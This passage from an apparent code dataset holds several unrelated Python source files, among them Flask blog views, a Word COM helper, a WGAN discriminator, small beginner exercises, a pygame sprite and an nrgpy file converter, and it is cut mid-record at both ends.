None:\n        abort(404)\n\n    return render_template(\"profile/profile.html\", user = user)  \n\n@main.route('/user/<uname>/update/pic',methods= ['POST'])\n@login_required\ndef update_pic(uname):\n    user = User.query.filter_by(username = uname).first()\n    if 'photo' in request.files:\n        filename = photos.save(request.files['photo'])\n        path = f'photos/{filename}'\n        user.profile_pic_path = path\n        db.session.commit()\n    return redirect(url_for('main.profile',uname=uname))    \n\n\n\n@main.route('/user/<uname>/update',methods = ['GET','POST'])\n@login_required\ndef update_profile(uname):\n    user = User.query.filter_by(username = uname).first()\n    if user is None:\n        abort(404)\n\n    form = UpdateProfile()\n\n    if form.validate_on_submit():\n        user.bio = form.bio.data\n\n        db.session.add(user)\n        db.session.commit()\n\n        return redirect(url_for('.profile',uname=user.username))\n\n    return render_template('profile/update.html',form =form)    \n\n\n\n\n\n\n@main.route('/new_pitch', methods = ['POST','GET'])\n@login_required\ndef add_post():\n    form = PostForm()\n    if form.validate_on_submit():\n        title = form.title.data\n        post = form.post.data\n        category = form.category.data\n        user_id = current_user\n        if form.post_pic_path.data:\n            post_pic_path = form.post_pic_path.data     \n            if form.validate_on_submit():\n\n                new_post = Post(post=post,user_id=current_user._get_current_object().id,post_pic_path=post_pic_path,category=category,title=title)\n                db.session.add(new_post)\n                db.session.commit()\n        \n            return redirect(url_for('main.index'))\n        else:\n            post_pic_path = './photos/bg.jpeg'    \n            if form.validate_on_submit():\n\n                new_post = Post(post=post,user_id=current_user._get_current_object().id,post_pic_path=post_pic_path,category=category,title=title)\n                db.session.add(new_post)\n                db.session.commit()\n        \n            return redirect(url_for('main.index'))\n\n        \n    return render_template('post.html', form = form)\n\n\n\n\n\n@main.route('/comment/<int:post_id>', methods = ['POST','GET'])\ndef comment(post_id):\n    form = CommentForm()\n    post = Post.query.get(post_id)\n    all_comments = Comment.query.filter_by(post_id = post_id).all()\n    if form.validate_on_submit():\n        comment = form.comment.data \n        post_id = post_id\n        new_comment = Comment(comment = comment,post_id = post_id)\n        \n        db.session.add(new_comment)\n        db.session.commit()\n        return redirect(url_for('.comment', post_id = post_id))\n    return render_template('comment.html', form =form, post = post,all_comments=all_comments) \n\n@main.route('/index/<int:id>/delete',methods = ['GET','POST'])\n@login_required\ndef delete(id):\n    current_blog = Post.query.filter_by(id = id).first()\n    if current_blog.user != current_user:\n        abort(404)\n    db.session.delete(current_blog)\n    db.session.commit()\n\n    return redirect(url_for('.index'))\n\n@main.route('/update/<int:id>',methods = ['GET','POST'])\n@login_required\ndef update_post(id):\n    posts = Post.query.filter_by(id = id).first()\n    if posts.user != current_user:\n        abort(404)\n    form = UpdatePostForm()\n    if form.validate_on_submit():\n        posts.title = form.title.data\n        posts.post = form.post.data \n        posts.category = form.category.data\n        posts.post_pic_path = form.post_pic_path.data\n        db.session.add(posts)\n        db.session.commit()\n\n        return redirect(url_for('main.index'))\n\n    return render_template('update_post.html',form = form)","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"211718185","text":"import win32com.client as w32_client\r\nimport win32com.client.gencache as w32c_gen\r\nfrom pywintypes import com_error  # pylint: disable=I0011,E0611\r\nfrom win32com.client import constants as wincom_const\r\nfrom officelib import const as olconst\r\nimport contextlib\r\n\r\nclass WdC():\r\n    def __getattr__(self, a):\r\n        v = getattr(wincom_const, a, None)\r\n        if v is None:\r\n            try:\r\n                v = getattr(olconst, a)\r\n            except AttributeError:\r\n                raise AttributeError(\"'%s' not found.\"%a) from None\r\n        else:\r\n            assert v == getattr(olconst, a)\r\n        object.__setattr__(self, a, v)\r\n        return v\r\n\r\nwdc = WdC()\r\n\r\n_unspecified = object()\r\n\r\n@contextlib.contextmanager\r\ndef screen_lock(word, visible=_unspecified):\r\n    word.ScreenUpdating = False\r\n    if visible is not _unspecified:\r\n        oldvis = word.Visible\r\n        word.Visible = visible\r\n    try:\r\n        yield None\r\n    finally:\r\n        word.ScreenUpdating = True\r\n        if visible is not _unspecified:\r\n            word.Visible = oldvis\r\nlock_screen = screen_lock\r\n\r\n\r\ndef Word(visible=True):\r\n    try:\r\n        w = w32_client.GetObject(\"Word.Application\")\r\n    except com_error:\r\n        w = w32c_gen.EnsureDispatch(\"Word.Application\")\r\n    w.Visible = visible\r\n    return w\r\n\r\n\r\ndef format_list_level(ll, level):\r\n    s = \"\".join(\"%%%d.\" % j for j in range(1, level+1))\r\n    npos = (level-1)*0.25\r\n    tpos = 0.25 + (level - 1) * 0.25\r\n\r\n    ll.NumberFormat = s\r\n    ll.TrailingCharacter = c.wdTrailingTab\r\n    ll.NumberStyle = c.wdListNumberStyleArabic\r\n    ll.NumberPosition = inches_to_points(npos)\r\n    ll.Alignment = c.wdListLevelAlignLeft\r\n    ll.TextPosition = inches_to_points(tpos)\r\n    ll.TabPosition = c.wdUndefined\r\n    ll.ResetOnHigher = level - 1\r\n    ll.StartAt = 1\r\n    \r\n    font = ll.Font\r\n    font.Bold = c.wdUndefined\r\n    font.Italic = c.wdUndefined\r\n    font.StrikeThrough = c.wdUndefined\r\n    font.Subscript = c.wdUndefined\r\n    font.Superscript = c.wdUndefined\r\n    font.Shadow = c.wdUndefined\r\n    font.Outline = c.wdUndefined\r\n    font.Emboss = c.wdUndefined\r\n    font.Engrave = c.wdUndefined\r\n    font.AllCaps = c.wdUndefined\r\n    font.Hidden = c.wdUndefined\r\n    font.Underline = c.wdUndefined\r\n    font.Color = c.wdUndefined\r\n    font.Size = c.wdUndefined\r\n    font.Animation = c.wdUndefined\r\n    font.DoubleStrikeThrough = c.wdUndefined\r\n    font.Name = \"\"\r\n\r\n\r\ndef make_list(word):\r\n    gal = word.ListGalleries(c.wdOutlineNumberGallery)\r\n    lt = gal.ListTemplates(1)\r\n    for level in range(1, 7):\r\n        ll = lt.ListLevels(level)\r\n        format_list_level(ll, level)\r\n    lt.Name = \"\"\r\n    return lt\r\n\r\n\r\ndef apply_list_template(lt, rng):\r\n    rng.ListFormat.ApplyListTemplateWithLevel(ListTemplate=lt,\r\n            ContinuePreviousList=False, ApplyTo=c.wdListApplyToWholeList,\r\n            DefaultListBehavior=c.wdWord10ListBehavior)\r\n\r\n\r\ndef convert(factor, from_unit, to_unit):\r\n    src = \\\r\n\"\"\"\r\ndef %s_to_%s(%s):\r\n    return %s * %s\r\n\"\"\" % (from_unit, to_unit, from_unit, from_unit, factor)\r\n    ns = {}\r\n    exec(src, ns, ns)\r\n    return ns['%s_to_%s' % (from_unit, to_unit)]\r\n\r\ninches_to_points = convert(72, 'inches', 'points')\r\npoints_to_inches = convert(1/72, 'points', 'inches')\r\n","sub_path":"wordlib/wdcom.py","file_name":"wdcom.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"566663039","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nfrom torch.optim import Adam, SGD\nfrom torch import autograd\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom torch.autograd import grad as torch_grad\nimport torch.nn.utils.weight_norm as weightNorm\nfrom utils.util import *\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\ndim = 128\nLAMBDA = 10 # Gradient penalty lambda hyperparameter\n\nclass TReLU(nn.Module):\n    def __init__(self):\n            super(TReLU, self).__init__()\n            self.alpha = nn.Parameter(torch.FloatTensor(1), requires_grad=True)\n            self.alpha.data.fill_(0)\n\n    def forward(self, x):\n        x = F.relu(x - self.alpha) + self.alpha\n        return x\n\nclass Discriminator(nn.Module):\n        def __init__(self):\n            super(Discriminator, self).__init__()\n\n            self.conv0 = weightNorm(nn.Conv2d(6, 16, 5, 2, 2))\n            self.conv1 = weightNorm(nn.Conv2d(16, 32, 5, 2, 2))\n            self.conv2 = weightNorm(nn.Conv2d(32, 64, 5, 2, 2))\n            self.conv3 = weightNorm(nn.Conv2d(64, 128, 5, 2, 2))\n            self.conv4 = weightNorm(nn.Conv2d(128, 1, 1, 1, 0))\n            self.relu0 = TReLU()\n            self.relu1 = TReLU()\n            self.relu2 = TReLU()\n            self.relu3 = TReLU()\n\n        def forward(self, x):\n            x = self.conv0(x)\n            x = self.relu0(x)\n            x = self.conv1(x)\n            x = self.relu1(x)\n            x = self.conv2(x)\n            x = self.relu2(x)\n            x = self.conv3(x)\n            x = self.relu3(x)\n            x = self.conv4(x)\n            x = x.view(-1, 64) # Patch Q\n            return x\n\nnetD = Discriminator()\ntarget_netD = Discriminator()\nnetD = netD.to(device)\ntarget_netD = target_netD.to(device)\nhard_update(target_netD, netD)\n\noptimizerD = Adam(netD.parameters(), lr=3e-4, betas=(0.5, 0.999))\ndef cal_gradient_penalty(netD, real_data, fake_data, batch_size):\n    alpha = torch.rand(batch_size, 1)\n    alpha = alpha.expand(batch_size, int(real_data.nelement()/batch_size)).contiguous()\n    alpha = alpha.view(batch_size, 6, dim, dim)\n    alpha = alpha.to(device)\n    fake_data = fake_data.view(batch_size, 6, dim, dim)\n    interpolates = Variable(alpha * real_data.data + ((1 - alpha) * fake_data.data), requires_grad=True)\n    disc_interpolates = netD(interpolates)\n    gradients = autograd.grad(disc_interpolates, interpolates,\n                              grad_outputs=torch.ones(disc_interpolates.size()).to(device),\n                              create_graph=True, retain_graph=True)[0]\n    gradients = gradients.view(gradients.size(0), -1)\n    gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * LAMBDA\n    return gradient_penalty\n\ndef cal_reward(fake_data, real_data):\n    return target_netD(torch.cat([real_data, fake_data], 1))\n\ndef save_gan(path):\n    netD.cpu()\n    torch.save(netD.state_dict(),'{}/wgan.pkl'.format(path))\n    netD.to(device)\n\ndef load_gan(path):\n    netD.load_state_dict(torch.load('{}/wgan.pkl'.format(path)))\n\ndef update(fake_data, real_data):\n    fake_data = fake_data.detach()\n    real_data = real_data.detach()\n    fake = torch.cat([real_data, fake_data], 1)\n    real = torch.cat([real_data, real_data], 1)\n    D_real = netD(real)\n    D_fake = netD(fake)\n    gradient_penalty = cal_gradient_penalty(netD, real, fake, real.shape[0])\n    optimizerD.zero_grad()\n    D_cost = D_fake.mean() - D_real.mean() + gradient_penalty\n    D_cost.backward()\n    optimizerD.step()\n    soft_update(target_netD, netD, 0.001)\n    return D_fake.mean(), D_real.mean(), gradient_penalty\n","sub_path":"torchbenchmark/models/LearningToPaint/baseline_modelfree/DRL/wgan.py","file_name":"wgan.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"422028857","text":"a = {\n    \"Name\" : \"Light\",\n    \"Age\" : 17,\n    \"Strength\" : 8,\n    \"Defense\" : 10,\n    \"HP\" : 100,\n    \"Backpack\" : [\"Shield\", \"Bread Loaf\"],\n    \"Gold\" : 100,\n    \"Level\" : 2,\n}\nprint(a)\na[\"Gold\"] += 50\nprint(a)\na[\"Backpack\"].append(\"FlintStone\")\nprint(a)\nb = {\n    \"Pocket\" : \"MonterDex, Flashlight\"\n}\na.update(b)\nprint(a)","sub_path":"session 10/bài tập 23.py","file_name":"bài tập 23.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"608090992","text":"from django.conf.urls import url\r\n# from django.contrib.auth.decorators import login_required\r\n\r\nfrom . import views\r\n\r\n\r\n# This is an app to test and experiment with different ways of implementation\r\napp_name = 'expr'\r\n# All urlpatterns here start with a prefix of 'expr/'\r\nurlpatterns = [\r\n\turl(r'^upload/$', views.PictureCreateView.as_view(), name='upload'),\r\n\turl(r'^delete/(?P<pk>\\d+)$', views.PictureDeleteView.as_view(), name='upload-delete'),\r\n\turl(r'^list/$', views.PictureListView.as_view(), name='upload-list'),\r\n]\r\n","sub_path":"expr/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"603500129","text":"# -*- coding: utf-8 -*-\n\nfrom pygame import *\nimport os\nimport random\n\nMONSTER_COLOR = \"#ff0000\"\nICON_DIR = os.path.dirname(__file__)\n\nclass Monster(sprite.Sprite):\n    def __init__(self, x, y, up, gr, w, h):\n        sprite.Sprite.__init__(self)\n        self.image = Surface((w, h))\n        self.image.fill(Color(MONSTER_COLOR))\n        self.rect = Rect(x, y, w, h)\n        self.startX = x # начальные координаты\n        self.startY = y\n        self.yvel = up # скорость движения по вертикали, 0 - не двигается\n        self.gravity = gr\n        self.image = image.load(\"%s/fork.png\" % ICON_DIR)\n\n    def update(self, platforms): # по принципу героя\n        self.yvel += self.gravity\n        self.rect.y += self.yvel\n        self.collide(platforms)\n\n    def collide(self, platforms):\n        for p in platforms:\n            if sprite.collide_rect(self, p) and self != p: # если с чем-то или кем-то столкнулись\n                loc = random.randint(30, 990)\n                self.rect.x = loc\n                self.rect.y = 60\n                self.yvel = self.gravity","sub_path":"monster.py","file_name":"monster.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"508505694","text":"import random\n\n\ndef main():\n    num = random.randint(0, 10)\n    print(\"Give me a number from 1 to 10 - guess, guess, come on\")\n    # Функция 'randint' выбирает из диапазона от 0 до 10 включительно, или от 0 до 9?\n    \n    try:\n        while True:\n            guess = int(input('Guess a number: '))\n            if num == guess:\n                return True\n            elif guess < num:\n                print(\"Try a larger one\")\n            elif guess > num:\n                print(\"Try a smaller one\")\n    except ValueError:\n        print(\"What? That's no an int!\")\n    #Как можно сделать проверку на тип данных, которые вводит пользователь?    \n    \n\nmain()\n","sub_path":"lesson2/guess_a_number.py","file_name":"guess_a_number.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"632717564","text":"import json\nimport os\nimport nltk\nimport pprint\nimport src.stations_extraction\n\n# PRO TIP:\n# to see all available POS (part of speech) use:  nltk.help.upenn_tagset()\n\nDIR = os.path.dirname(os.path.abspath(__file__))\nROOT_DIR = DIR + '/../'\n\ndef prepare_pos_tagged_sentences(training_set):\n    tagged_sentences = [\n        nltk.pos_tag(nltk.word_tokenize(element[\"text\"].lower())) for element in training_set\n    ]\n\n    json_structure = [\n        [{\"word\": element[0], \"pos\": element[1], \"classification\": \"\"} for element in sentence] for sentence in tagged_sentences\n    ]\n\n    # uncomment it to print \"ready to copy\" json :)\n    # json_string = json.dumps(json_structure)\n    # pprint.pprint(json_string)\n    return json_structure\n\n\ndef get_trained_unigram_tagger():\n    train_data_input = json.load(open(ROOT_DIR + '/src/assets/training_Sets/stationsExtractionTrainingSet.json'))\n    train_data = [[(element[\"pos\"], element[\"classification\"]) for element in sentence] for sentence in train_data_input]\n    return nltk.UnigramTagger(train_data)\n\n## already done. Results in /src/assets/training_Sets/stationsExtractionTrainingSet.json\n# result = prepare_pos_tagged_sentences(json.load(open(ROOT_DIR + '/src/assets/training_Sets/stationsExtractionInput.json')))\n#\n# pprint.pprint(result)\n\nsrc.stations_extraction.train_tagger()\n","sub_path":"utils/stations_extraction_data_preparation.py","file_name":"stations_extraction_data_preparation.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"627123323","text":"import simpleaudio as sa\nimport time\n\n#path to sample\nwave_obj = sa.WaveObject.from_wave_file(\"/Users/freek/School/Jaar 2/CSD/Git/CSD2/python_basics/Sound Files/rs01.wav\")\n\n#lists that are used later\ndurations_list = [1, 1, 0.5, 0.5, 1]\ntime_stamps16th = []\ntime_stamps_msec = []\n\n#BPM input from user, only excepts a valid input\nwhile True:\n    try:\n        BPM = float(input(\"Standard BPM is 120, you can now change it or just hit enter: \") or 120)\n    except ValueError:\n        print(\"Please enter a number\")\n        continue\n    else:\n        break\n\n#function to convert duration_list to 16th timestamps\ndef durations_to_timestamps16th(note_durations):\n    time_stamps16th.append(0)\n    step = 0\n    for duration in note_durations:\n        time_stamps16th.append(duration * 4 + step)\n        step = step + duration * 4\n    del time_stamps16th[-1]\n\n#function to convert 16th timestamps to msec timestamp calculated with BPM input\ndef stamps_to_time (time_stamps_list, BPM):\n    BPM = float(BPM)\n    for timestamp in time_stamps_list:\n        time_stamps_msec.append((timestamp * (60 / BPM) / 4))\n\n#calling the functions from above\ndurations_to_timestamps16th(durations_list)\nstamps_to_time(time_stamps16th, BPM)\n\n#times to loop\nloop_count = 4\ni = 0\nwhile i < loop_count:\n    #setting start time\n    startTime = time.time()\n    i += 1\n    #x for modulo and list index\n    x = 1\n    loop_play = True\n    #loop for playing sample\n    while loop_play == True:\n        currentTime = time.time()\n        #checking if it is time to play a sample\n        if(currentTime - startTime >= time_stamps_msec[x-1]):\n            wave_obj.play()\n            if x >= 1:\n                x = (x + 1) % len(time_stamps_msec)\n                print(x)\n                print(currentTime - startTime)\n            else:\n                #if x = 0\n                loop_play = False\n        else:\n            time.sleep(0.001)\n    #wait until the measure is finished\n    time.sleep(((60/BPM)*4) - time_stamps_msec[-1])\n","sub_path":"python_basics/time_rytmic_playsound.py","file_name":"time_rytmic_playsound.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"250441349","text":"\"\"\"\nConvert a BST to a sorted circular doubly-linked list in-place. Think of the\nleft and right pointers as synonymous to the previous and next pointers in a\ndoubly-linked list.\n\nWe want to transform this BST into a circular doubly linked list. Each node in\na doubly linked list has a predecessor and successor. For a circular doubly\nlinked list, the predecessor of the first element is the last element, and the\nsuccessor of the last element is the first element.\n\n\"\"\"\n\nclass Node(object):\n    def __init__(self, value=None):\n        self.value = value\n\n        # BST\n        self.left = None\n        self.right = None\n\n        # Linked List\n        self.next = None\n        self.prev = None\n\n\ndef InOrder(root, tree_order):\n    if root:\n        InOrder(root.left, tree_order)\n        tree_order.append(root)\n        InOrder(root.right, tree_order)\n\n\ndef Tree2LL(node_list):\n\n    for i in range(1, len(node_list)-1):\n        node_list[i].next = node_list[i+1]\n        node_list[i].prev = node_list[i-1]\n\n    head = node_list[0]\n    head.prev = node_list[-1]\n    node_list[-1].next = head\n\n\ndef main():\n\n    l = list()\n\n    a5 = Node(5)\n    a4 = Node(4)\n    a3 = Node(3)\n    a2 = Node(2)\n    a1 = Node(1)\n\n    a4.left = a2\n    a4.right = a5\n    a2.right = a3\n    a2.left = a1\n\n    InOrder(a4, l)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"fb_01_convert_BST_Doubly_LL.py","file_name":"fb_01_convert_BST_Doubly_LL.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"71153674","text":"#!/bin/usr/python\n\nimport os\nimport pandas as pd\nimport subprocess\nimport shutil\nfrom nrgpy.utilities import check_platform, windows_folder_path, linux_folder_path, affirm_directory\n\n\nclass local(object):\n    \"\"\"\n    nrgpy.convert_rwd.local - use local installation of Symphonie Data Retriever (SDR)\n    to convert *.RWD files to *.TXT\n\n    parameters -\n              filename : '', if populated, a single file is exported\n        encryption_pin : '', four digit pin, only used for encrypted files\n              sdr_path : r'\"C:/NRG/SymDR/SDR.exe\"', may be any path\n           site_filter : '', filters files on text in filename\n               rwd_dir : '', folder to check for RWD files\n               out_dir : '', folder to save exported TXT files into\n           wine_folder : '~/.wine/drive_c/', for linux installations\n\n\n    functions -\n        check_sdr : checks operating system for SDR installation\n          convert : process files\n\n    \"\"\"\n\n\n    def __init__(self, rwd_dir='', out_dir='', filename='', encryption_pin='',\n                 sdr_path=r'C:/NRG/SymDR/SDR.exe',\n                 convert_type='meas', site_filter='', \n                 wine_folder='~/.wine/drive_c/', **kwargs):\n        if encryption_pin != '':\n            self.command_switch = '/z'\n        else:\n            self.command_switch = '/q'\n        self.encryption_pin = encryption_pin\n        self.sdr_path = windows_folder_path(sdr_path)[:-1]\n        self.root_folder = \"\\\\\".join(self.sdr_path.split('\\\\')[:-2])\n        self.RawData = self.root_folder + '\\\\RawData\\\\'\n        self.ScaledData = self.root_folder + '\\\\ScaledData\\\\'\n        self.site_filter = site_filter\n        self.rwd_dir = windows_folder_path(rwd_dir) # rwd_dir must be in Windows format, even if using Wine\n        self.platform = check_platform()\n        if self.platform == 'win32':\n            self.out_dir = windows_folder_path(out_dir)\n            self.file_path_joiner = '\\\\'            \n            pass\n        else:\n            self.out_dir = linux_folder_path(out_dir)\n            self.check_sdr()\n            self.file_path_joiner = '/'\n        if filename != '':\n            self.filename = filename\n            self.single_file()\n        self.wine_folder = wine_folder\n\n    def check_sdr(self):\n        \"\"\"\n        determine if SDR is installed\n        \"\"\"\n        if self.platform == 'win32':\n            # do the windows check\n            try:\n                os.path.exists(self.sdr_path)\n                self.sdr_ok = True\n            except:\n                self.sdr_ok = False\n                print('SDR not installed. Please install SDR or check path.\\nhttps://www.nrgsystems.com/support/product-support/software/symphonie-data-retriever-software')\n        else:\n            # do the linux check\n            try:\n                subprocess.check_output(['wine','--version'])\n            except NotADirectoryError:\n                print('System not configured for running SDR.\\n Please follow instructions in SDR_Linux_README.md to enable.')\n            try:\n                subprocess.check_output(['wine',self.sdr_path,'/s','test.rwd'])\n                print('SDR test OK!')\n                self.sdr_ok = True\n            except:\n                self.sdr_ok = False\n                print('SDR unable to start')\n\n    \n    def convert(self):\n        \"\"\"\n        process rwd files\n            1 - create list of RWD files that match filtering\n            2 - copy RWD files to RawData directory\n            3 - create out_dir if necessary\n            4 - iterate through files\n        \"\"\"\n        self.list_files()\n        self.copy_rwd_files()\n        affirm_directory(self.out_dir)\n        for f in self.rwd_file_list:\n            site_num = f[:4]\n            try:\n                self._filename = \"\\\\\".join([self.RawData+site_num,f])\n                self.single_file()\n            except:\n                print('file conversion failed on {}'.format(self._filename))\n\n\n    def list_files(self):\n        \"\"\"\n        get list of files in rwd_dir\n        \"\"\"\n        self.dir_paths = []\n        self.rwd_file_list = []\n        if self.platform == 'win32':\n            walk_path = self.rwd_dir\n        else:\n            walk_path = linux_folder_path(self.rwd_dir)\n        for dirpath, subdirs, files in os.walk(walk_path):\n            self.dir_paths.append(dirpath)\n            for x in files:\n                if x.startswith(self.site_filter) and x.lower().endswith('.rwd'):\n                    self.rwd_file_list.append(x)\n\n\n    def single_file(self):\n        \"\"\"\n        process for converting a single file\n        \"\"\"\n        _f = self._filename\n        if self.platform == 'linux':\n            self.sdr_path = windows_folder_path(self.sdr_path)[:-1]\n            _f = windows_folder_path(_f)[:-1]\n            wine = 'wine'\n        else:\n            wine = ''\n        cmd = [wine, '\"'+self.sdr_path+'\"', self.command_switch, self.encryption_pin, '\"'+_f+'\"']\n        try:\n            print(\"Converting {}\\t\\t\".format(_f), end=\"\", flush=True)\n            subprocess.check_output(\" \".join(cmd), shell=True)\n            print(\"[DONE]\")\n        except:\n            print(\"[FAILED\")\n            print('unable to convert {}. check ScaledData folder for log file'.format(_f))\n        try:\n            print(\"\\tCopying {}\\t\\t\".format(_f[:-3]+'txt'), end=\"\", flush=True)\n            self.copy_txt_file()\n            print(\"[DONE]\")\n        except:\n            print(\"[FAILED]\")\n            print('unable to copy {} to text folder'.format(_f))\n            \n            \n    def copy_rwd_files(self):\n        \"\"\"\n        copy RWD files from self.RawData to self.rwd_dir\n        \"\"\"\n        for f in self.rwd_file_list:\n            if self.site_filter in f:\n                site_num = f[:4]\n                site_folder = \"\\\\\".join([self.RawData,site_num])\n                copy_cmd = 'copy'\n                if self.platform == 'linux':\n                    site_folder = ''.join([self.wine_folder,'NRG/RawData/',site_num])\n                    copy_cmd = 'cp'\n                try:\n                    affirm_directory(site_folder)\n                except:\n                    print(\"couldn't create {}\".format(site_folder))\n                    pass\n                try:\n                    cmd = [copy_cmd,\"\".join([self.dir_paths[0], f]),self.file_path_joiner.join([site_folder, f])] \n                    subprocess.check_output(\" \".join(cmd), shell=True)\n                except:\n                    print('unable to copy file to RawData folder:  {}'.format(f))\n\n\n    def copy_txt_file(self):\n        \"\"\"\n        copy TXT file from self.ScaledData to self.out_dir\n        \"\"\"\n        try:\n            txt_file_name = self._filename.split('\\\\')[-1][:-4] + '.txt'\n            txt_file_path = \"\\\\\".join([self.ScaledData,txt_file_name])\n            out_path = self.file_path_joiner.join([self.out_dir,txt_file_name])\n        except:\n            print(\"could not do the needful\")\n        if self.platform == 'linux':\n            out_path = linux_folder_path(self.out_dir) + txt_file_name\n            txt_file_path = ''.join([self.wine_folder, 'NRG/ScaledData/',txt_file_name])\n        try:\n            shutil.copy(txt_file_path, out_path)\n            try:\n                os.remove(txt_file_path)\n            except:\n                print(\"{0} remains in {1}\".format(txt_file_name, self.ScaledData))\n        except:\n            print(\"Unable to copy {0} to {1}\".format(txt_file_name,self.out_dir))\n\n\n\n\n\n\n\n\n","sub_path":"nrgpy/convert_rwd.py","file_name":"convert_rwd.py","file_ext":"py","file_size_in_byte":7458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"36160892","text":"# -*- coding: utf-8 -*-\n###############################################################################\n#\n# Copyright (c) 2019 HERE Europe B.V.\n#\n# SPDX-License-Identifier: MIT\n# License-Filename: LICENSE\n#\n###############################################################################\n\n# from qgis.core import QgsSettings\nfrom qgis.PyQt.QtCore import pyqtSignal\nfrom qgis.PyQt.QtWidgets import QDialog\n\nfrom . import get_ui_class\nfrom .token_ux import TokenUX\n\nfrom ..models import SpaceConnectionInfo\nfrom ..modules.controller import make_qt_args\n\n# EditSpaceLayerDialogUI and EditSpaceDialogUI: most of the components are same\nEditSpaceDialogUI = get_ui_class(\"edit_space_dialog.ui\")\n# EditSpaceLayerDialogUI = get_ui_class(\"edit_space_layer_dialog.ui\")\ndef copyright_from_txt(txt):\n    return [dict(label=txt)] if len(txt) > 0 else None\n\ndef txt_from_copyright(obj):\n    return obj[0].get(\"label\") if isinstance(obj,list) and len(obj) > 0 else \"\"\n\nclass BaseSpaceInfoDialog(QDialog):\n    title = \"XYZ\"\n\n    def __init__(self, parent=None):\n        \"\"\"init window\"\"\"\n        QDialog.__init__(self, parent)\n        \n        self.setWindowTitle(self.title)\n\n    def get_space_info(self):\n        d = {\n            \"title\": self.lineEdit_title.text(),\n            \"id\": self.lineEdit_id.text(),\n            \"description\": self.plainTextEdit_description.toPlainText(),\n            \"shared\": self.checkBox_shared.isChecked(),\n            \"license\": self.comboBox_license.currentText() or None,\n            \"copyright\": copyright_from_txt(self.lineEdit_copyright.text()),\n            }\n        return d\n\n    def set_space_info(self, space_info):\n        key_fun={\n            \"title\": self.lineEdit_title.setText,\n            \"id\": self.lineEdit_id.setText,\n            \"description\": self.plainTextEdit_description.setPlainText,\n            \"shared\": self.checkBox_shared.setChecked,\n            \"license\": self.comboBox_license.setCurrentText,\n            \"copyright\": lambda obj: self.lineEdit_copyright.setText( txt_from_copyright(obj)),\n            }\n        for k, fun in key_fun.items():\n            if k in space_info:\n                fun(space_info[k])\nclass SpaceInfoDialog(BaseSpaceInfoDialog, EditSpaceDialogUI):\n    def __init__(self, *a):\n        BaseSpaceInfoDialog.__init__(self,*a)\n        EditSpaceDialogUI.setupUi(self,self)\n        \n        self.comboBox_license.addItems(\n            sorted([\n                \"\", \"afl-3.0\", \"apache-2.0\", \"artistic-2.0\",\n                \"bs1-1.0\", \"bsd-2-clause\", \"bsd-3-clause\",\n                \"bsd-3-clause-clear\", \"cc\", \"cc0-1.0\",\n                \"cc-by-4.0\", \"cc-by-sa-4.0\", \"wtfpl\",\n                \"ecl-2.0\", \"epl-1.0\", \"eupl-1.1\",\n                \"agpl-3.0\", \"gpl\", \"gpl-2.0\", \"gpl-3.0\",\n                \"lgpl\", \"lgpl-2.1\", \"lgpl-3.0\", \"isc\",\n                \"lppl-1.3c\", \"ms-pl\", \"mit\", \"mpl-2.0\",\n                \"osl-3.0\", \"postgresql\", \"ofl-1.1\",\n                \"ncsa\", \"unlicense\", \"zlib\"\n            ])\n        )\nclass UploadNewSpaceDialog(SpaceInfoDialog, TokenUX):\n    # ui = UP_CLASS()\n    title = \"Upload to new XYZ Geospace\"\n    signal_upload_new_space = pyqtSignal(object)\n\n    def __init__(self, *a):\n        SpaceInfoDialog.__init__(self,*a)\n        \n        self.groupBox_token.setEnabled(True)\n        # self.used_token_idx = 0\n        \n        self.setWindowTitle(self.title)\n\n    def config(self, token_model, network, vlayer):\n        self.network = network\n        self.vlayer = vlayer\n        self.conn_info = SpaceConnectionInfo()\n\n        self.config_ui_token(token_model)\n        \n        self.lineEdit_title.textChanged.connect(self.ui_valid_input)\n        self.plainTextEdit_description.textChanged.connect(self.ui_valid_input)\n\n        self.buttonBox.button(self.buttonBox.Ok).setText(\"Create and Upload\")\n        self.accepted.connect(self.start_upload)\n\n    ########## COMBOBOX Config + Function\n\n    def config_ui_token(self, token_model):\n        TokenUX.config(self, token_model)\n\n    def cb_set_valid_token(self, *a):\n        self.insert_new_valid_token()\n        self.ui_valid_input()\n\n    def ui_enable_ok_button(self, flag):\n        self.buttonBox.button(self.buttonBox.Ok).setEnabled(flag)\n        self.buttonBox.button(self.buttonBox.Ok).clearFocus()\n\n    # Check lineEdit as well\n    def ui_valid_input(self, flag=None):\n        ok = (\n            self.ui_valid_token(flag) and \n            len(self.lineEdit_title.text()) and \n            len(self.plainTextEdit_description.toPlainText())\n        )\n            \n        self.ui_enable_ok_button( ok)\n        \n    def start_upload(self):\n        self.conn_info.set_(token=self.get_input_token())\n        \n        token = self.get_input_token()\n\n        tags = 